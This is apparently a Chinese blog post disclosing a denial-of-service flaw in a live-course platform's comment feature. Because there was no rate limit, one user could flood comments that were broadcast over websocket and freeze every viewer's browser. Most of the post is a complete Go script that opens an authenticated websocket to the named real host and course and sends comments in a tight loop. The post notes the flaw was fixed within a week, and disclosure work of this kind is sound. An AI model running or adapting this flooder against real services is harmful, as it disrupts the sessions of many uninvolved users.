前段时间在360网络安全大学听免费的网络安全直播课,里面的老师有一些讲的不错

对评论区进行测试,发现对评论和送花速度没有进行限制,送花有总数50次限制,但是评论总数没有限制

并且,后端性能非常好,能够即时处理所有评论并通过websocket发送给所有直播课的听众

用户的浏览器效率比较低,无法及时处理后端返回的所有评论,从而导致浏览器卡死,如此只需要一个用户不断发送评论包,所有用户都会受到dos攻击

评论代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package main

import (
"flag"
"log"
"net/http"
"net/url"
"os"
"os/signal"
"time"

"github.com/gorilla/websocket"
)

var addr = flag.String("addr", "trans.college.360.cn", "http service address")

func main() {
flag.Parse()
log.SetFlags(0)

interrupt := make(chan os.Signal, 1)
signal.Notify(interrupt, os.Interrupt)

u := url.URL{
Scheme: "wss",
Host: *addr,
Path: "/ws",
RawQuery: "live_course_id=10114"
}
log.Printf("connecting to %s", u.String())


header := make(http.Header)
header["Origin"] = []string{"https://admin.college.360.cn"}
header["User-Agent"] = []string{"Chrome/80.0.3987.122"}
header["Cookie"] = []string{"your cookie"}

dialer := websocket.DefaultDialer
dialer.EnableCompression = true
c, _, err := dialer.Dial(u.String(), header)
if err != nil {
log.Fatal("dial:", err)
}
defer c.Close()

done := make(chan struct{})

go func() {
defer close(done)
for {
_, message, err := c.ReadMessage()
if err != nil {
log.Println("read:", err)
return
}
log.Printf("recv: %s", message)
}
}()

ticker := time.NewTicker(1)
defer ticker.Stop()

for {
select {
case <-done:
return
case <-ticker.C:
err := c.WriteMessage(websocket.TextMessage, []byte(
"{\"cmd\":\"newMessage\",\"message\":\"感谢360\"}"
))
if err != nil {
log.Println("write:", err)
return
}
case <-interrupt:
log.Println("interrupt")
err := c.WriteMessage(
websocket.CloseMessage,
websocket.FormatCloseMessage(
websocket.CloseNormalClosure, ""
)
)
if err != nil {
log.Println("write close:", err)
return
}
select {
case <-done:
case <-time.After(time.Second):
}
return
}
}
}

可能是360也发现这个dos了,过了不到一个周便修复了,增加了评论速率的限制